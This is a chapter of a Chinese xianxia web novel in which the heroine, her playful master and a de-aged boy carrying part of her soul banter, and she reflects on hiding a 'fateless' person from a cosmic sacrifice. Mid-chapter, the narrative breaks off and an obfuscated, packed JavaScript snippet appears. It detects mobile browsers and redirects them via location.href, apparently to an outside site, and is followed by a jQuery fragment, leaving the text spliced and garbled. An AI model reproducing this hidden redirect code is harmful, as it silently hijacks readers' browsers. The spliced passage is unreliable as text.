天机山,青摇峰。
两道对坐的身影映在院内。
两人身前的一方石桌上,铺着一张纸,纸的一圈绘着一个个四方小格,里面写着歪歪扭扭的字,有些小方格上还摆着小小的木头房子,有大有小。
一枚骰子在上方滚了几圈,四个点朝向上空。
“四,你踩到我房子了,给钱。”
女声清亮,来自那道绿色倩影。
少女肤白唇红,容颜明丽,乌发间挽着几个漂亮的髻,以流苏点缀,垂落在耳畔,未挽的头发便随意披散。
她伸手夺走男人护在怀里的一沓纸票,翻翻找找,挑了张数目,又还了回去。
男人哀嚎一声,朝她递来一个惨兮兮的目光。
“不算,我手滑了。”
说罢,徐清晨拾起骰子就要再摇一遍。就在这时,不远处紧闭的屋门忽然“吱呀”一声,开了一条缝。
徐清晨见状,眉梢轻轻一挑,
他放下骰子,抱着臂好整以暇地看向少女。
“乖徒儿,你娃醒了。”
余光捕捉到一抹小小的身影,虞相意顿了顿,并未抬头:“说。”
徐清晨笑了声,语气轻佻:“好嘛,有了娃就对师父冷冷淡淡。”
他说着作势捂住心口,长叹一声。
虞相意终于撩起眼,撑着下巴笑看他。
“师父,请说?”
男人清咳一声,信手拾起一旁的折扇,手腕一转,扇面便铺开成一道山水。
他扇着风,语调悠然:“探灵术你也试过了,如你所见,你的魂魄确实在他身上。”
关于魂魄之说,也是系统告诉她的。
系统说她天生缺少一魄,这才有了灵脉积堵一事。
而她这缺少的一魄刚好在这位名为“裴期”的人身上。
缘分,真是巧妙。
她要找的人是他,系统要她找的人也是他,如今魂魄的寄存对象还是他。
但也很不巧,还没等她收回魂魄,少年便毫无征兆地回到了幼年形态,一下子记忆全无,形同智障,连带着她的魂魄也陷入了沉睡。
思及此,虞相意微微颔首,等着他的下文。
“只……”刚吐出一个音节,男人忽而噌地一下起身,一边“住手住手”地警告,一边慌慌张张跑向自己的小花圃,一把将扒着木栅栏的小男孩拎了起来。
大眼瞪小眼。
徐清晨一噎,训斥的话卡在喉咙,不上不下的。
关爱智障,关爱智障。
默念几遍,他心一横,干脆折了一朵金灿灿的迎春花,咬牙塞进小孩手心。
小裴期愣愣盯着他,好像不明白他这是要做什么。
“一朵!就一朵!不能再多了!”
小裴期:?
红衣男子又比了个一。
小裴期:?
慢慢踱来的少女无语地看他一眼,接过他手中的小孩,抱在怀里。
她指尖微抬,一团泥巴飞了过来,浮在半空。
虞相意扬了扬下巴,语调得意:“他想玩的是这个。”
小裴期:?
徐清晨狐疑道:“你确定?”
虞相意:“自然。”
说着,她操控着泥团就要往小男孩手里塞。
小男孩似乎被这团黑不溜秋的东西吓到,两只短短的胳膊下意识搂紧少女的脖颈。
虞相意:“……”
一旁的红衣男子毫不留情地嘲笑。
“他~想~玩~这~个~”
虞相意一脸黑线。
“你到底想玩什么?”她腾出一只手将他扒拉开,盯着小孩的脸问。
小男孩手里捏着迎春花,听罢,露出思考的神色。
他是不是在动脑?
她朝一旁的师父递去视线,徐清晨接收到她的眼神,耸了耸肩。
下一秒,小男孩摇了摇头,将手里的花插进少女的发髻,乖巧地喊了声“师姐”。
这声师姐,是虞相意带他回来之前教的。
那时的她刚和师门通报完地下拍卖会私下违背盟约之事,正在等待就近宗门派人前来处理。
一旁乖乖抱腿坐着的小孩突然怯生生地拽了拽她,问她“你是谁”。
虞相意想也不想说了句“你爹”。
但她高估了小孩的智障程度。
小孩当即像是鼓足了勇气一般,揭露了她的错误。
他说,爹爹是男孩子,你骗我。
虞相意不假思索回他,你怎么就知道我不是男的?
一语落下。
小孩不解,小孩大受打击,然后——小孩竟然哭了。
……
半晌没得到回应,小裴期疑惑地歪了歪头,直愣愣地盯着眼前出神的人。
一旁的徐清晨蓦地凑了过来,奇道:“竟然会喊人?”
“来,喊声师父听听。”
虞相意闻言回过神,一把推开他凑过来的耳朵,没好气道:“行了,你自己不收他,还好意思让人叫你师父?”
徐清晨理所当然道:“那还不是我只收两个徒弟,再收那群老头子可不乐意。”
“再说,我这不是帮你爹收了。”
他说着又把耳朵凑过来:“来,叫声师叔听听。”
虞相意:“……”
说到收徒这件事。
天机山最新一条门规便是“禁止徐清晨和狗收徒”。
实话说,天机山风评不好,根源离不了徐清晨。
但这事跟她也关系匪浅。
毕竟和人过招不小心割掉别人裤带让人当众出丑的是她。
然后她就解锁了“登徒子”“不要脸的小人”等成就。
误把其他宗门百年药植当野菜挖来喂小牛马的
也是她。
而小牛马是她骗来结契的山灵精怪,被她一把屎一把尿拉扯大。
这就是为什么在灵脉堵塞后她第一个选择修习灵乌一道。
文盲也有文盲的倔强。
同样的,出言挑衅高境散修的是她,一把火烧了世家祭坛的也是她,捣毁人家老巢的还是她。
记得她幼时曾点着这条门规,眨巴着眼颇为好奇地问徐清晨:“师父,为什么上面写着【禁止徐清晨收徒】?”
师父说,出门在外,脸不是自己的,身份是自己给的。
虞相意深谙此理。
因而她当过扶风崖、万金门、百枯城的弟子,江州云氏的子弟,籍籍无名(声名狼藉)的散修寻姜。
当然,打得最响的还是“寻姜”这个道号。
只是后来她这一套竟然被偷师了,众人的污蔑对象成了天机山。
她当时很是纳闷。
难道她暴露了?
后来才知道并不是她暴露了,而是她师父有前科。
所以众人在做出一些“惊世骇俗”的事时,第一个想到的便是天机山。
百试百灵。
天机山的名声就这样更臭了。
说到她师父的前科。
少女捏紧了拳头。
举个例子。
师父曾说:“打不过了便报为师名字。”
于是当年幼闯荡的虞相意碰上硬茬,就挺起胸膛,雄赳赳气昂昂的:“你不能打我!”
硬茬问:“为什么?”
虞相意答:“徐清晨是我儿!”
然后她就被追着砍了几百里路。
想到这,她抬手捂住男孩的嘴,赌气似的:“不准叫。”
男人挑眉,好笑道:“让你师兄来治治你。”
虞相意冷哼一声。
见他把脸挪开,这才松开了手。
嘴巴得到解放
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126351|180068||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,小人看看这个,又看看那个,才怯怯喊了声“师叔”。
徐清晨笑眯眯的:“哎——”
虞相意二话不说捂住他的嘴。
盯着他水汪汪的大眼睛,虞相意恶狠狠威胁道:“不许叫。”
小人有些无措,歪着头好像在问“为什么”。
虞相意:“等你恢复了就会羞愤欲死。”
小裴期眨眨眼。
看样子是懂了。
她松开手,把他放了下去,改为牵住。
又偏过脸对红衣男子道:“徐清晨,你继续讲。”
徐清晨气笑了:“怎么喊的人?没大没小。”
话虽如此,目光还是落在她胸口处的桃木八卦盘。
他道:“发了光就没错。”
“乖徒,这就是你的因果。”
“因果”二字如同某种开关,刹那间便唤醒了一些尘封的记忆。
虞相意十三岁那年,曾与师兄师姐联手,捣毁了一位邪修的老巢,救出一群半大的小孩。
世人言,天地初开,世间划为两极,修道者一极,修魔者一极,而还有一种不被承认的道,也是后来由魔道衍生而来,称作“邪”。
“邪”于仙魔之间生存,修炼手段极其激进残忍,以取食他人为常见。
这位邪修自然不例外。
入了邪道,便再无脱身之日。
但直到死,他也仅是仰面笑了笑。
只是,因着常年修习这般阴邪之法,遭到反噬,他面皮异常松软,不受控地耷拉下来,这笑便显出几分诡异的苍凉。
他笑着笑着便流下泪来。
他说:“天道倾颓,懦夫当前,世道不容我等宵小,要以我祭天,我想要变强想要活命,又有何错?”
他又说:“错不在我,错的是这天道!”
这让虞相意忆起曾看过的一段文字。
书上说,两极之外,还有一番天地。
那里万物凋零,百象泯灭,是为“无极”。
无极之地,孕无命之人。
无命者生来强大,但也会遭到力量的反噬。
那日的少年便是遭到反噬,回归幼童状态,力量全失。
可,世人口中凶神恶煞的无命者,幼年时也不过是再正常不过的小孩。
师父告诉她,无命之人生来强大,但过分强大的代价便是丧失自我,在杀戮中慢慢泯灭人的秉性。
所以他们自出身起便不为世道所容,杀戮是他们的本能,死亡是他们的宿命。
十八岁之前,他们不死不灭。十八岁一至,他们却又不得不死,连死亡都成了一种奢望。
世人都言,无命者难以降世,同样的,凡若降世,必有劫难。
无命者的一生只有十八年,期限一至,天地炉必开。
天地炉开,劫难相伴而至。
天地炉开,必有生灵殒命。
天地炉一开,献祭无命者便是天道施舍给他们的出路。
所以为了苍生大义,他们划出了无极之地,设下禁制,将无命之徒囚困其中,待需要的时候便让他们见上一秒天光。
无极之地,无月无日,无草无木。
无命之徒,永生永世,不见天光。
可,若是哪一天,无命之徒消亡于世,无极之地毁于一旦,天地之炉再度开启——
又该如何?
虞相意很清楚自己在做什么。
她藏匿无命者。
介时天地炉开,修者一极无人可献。
但她必须要这样做。
因果自担,代价自偿。
微风拂过少女的面庞,日光洒下,描摹出少女的身影。
虞相意就这样静静站在院内,任清风吹起耳畔垂落的流苏,阳光在发饰上落下光影。
虞相意听见自己轻声道:“我知道了。”